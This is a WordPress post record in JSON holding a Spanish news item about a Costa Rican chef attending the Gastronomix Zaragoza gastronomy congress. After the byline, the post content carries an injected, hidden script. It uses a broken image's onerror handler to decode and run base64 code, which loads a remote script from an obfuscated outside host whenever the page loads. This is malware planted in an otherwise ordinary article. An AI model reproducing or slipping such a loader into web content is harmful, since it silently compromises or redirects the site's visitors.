{"id":6286,"date":"2023-01-31T12:31:39","date_gmt":"2023-01-31T15:31:39","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=6286"},"modified":"2025-08-13T16:06:37","modified_gmt":"2025-08-13T19:06:37","slug":"chef-costarricense-participa-en-congreso-internacional-de-gastronomia-saludable-y-sostenible","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=6286","title":{"rendered":"<strong>Chef costarricense participa en Congreso internacional de Gastronom\u00eda saludable y sostenible<\/strong>"},"content":{"rendered":"\n<h4 class=\"has-white-color has-text-color has-background wp-block-heading\" style=\"background-color:#775a0b\">Randy Siles, chef director culinario de Enjoy Hotels Costa Rica, participa en Gastronomix Zaragoza el 1 y 2 de febrero, el Congreso Internacional de Gastronom\u00eda Saludable y Sostenible.<\/h4>\n\n\n\n<p>El congreso mostrar\u00e1 los \u00faltimos avances en investigaci\u00f3n y tecnolog\u00eda, as\u00ed como las novedades en los productos alimenticios relacionados con la gastronom\u00eda saludable, por medio de ponencias y demostraciones de los chefs que trabajan en sus cocinas en esta misma l\u00ednea.<\/p>\n\n\n\n<p>Organiza la academia aragonesa de la gastronom\u00eda y la Fundaci\u00f3n Cook &amp; Chef Institute, quienes indican que el binomio gastronom\u00eda y salud sigue posicion\u00e1ndose como el gran punto de inter\u00e9s y debate tanto en el mundo de la investigaci\u00f3n como de la hoteler\u00eda, al mismo tiempo que de la industria agroalimentaria.<\/p>\n\n\n\n<p>Las grandes corporaciones por un lado y el mundo de la investigaci\u00f3n por otro, es que mantienen\u00a0grandes dosis de avances tecnol\u00f3gicos\u00a0para satisfacer a un p\u00fablico cada vez m\u00e1s preocupado por su bienestar alimenticio.<\/p>\n\n\n\n<p>Gastronomix nace del deseo de inspirar una conciencia socio ambiental m\u00e1s s\u00f3lida, saludable y comprometida. El objetivo es\u00a0difundir, discutir e intercambiar conocimientos sobre gastronom\u00eda sostenible, analizando las novedades de la ciencia y la sostenibilidad. Para ello, contar\u00e1 el congreso\u00a0con invitados de primer nivel: cient\u00edficos, cocineros, centros de investigaci\u00f3n y empresas referentes en su sector.<\/p>\n\n\n\n<p>Enjoy Hotels promueve la participaci\u00f3n del equipo en proyectos similares ya que a nivel gastron\u00f3mico tambi\u00e9n est\u00e1 en la busqueda de conceptualizar sus restaurantes para que sean m\u00e1s sostenibles en todos los aspectos sin dejar de lado la calidad gastron\u00f3mica para mejorar cada vez m\u00e1s.<\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color\"><strong><em>Por la periodista: Milagro Arias Rodr\u00edguez<\/em><\/strong><\/p>\n\n\n\n<p><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Randy Siles, chef director culinario de Enjoy Hotels Costa Rica, participa en Gastronomix Zaragoza el 1 y 2 de febrero, el Congreso Internacional de Gastronom\u00eda Saludable y Sostenible. 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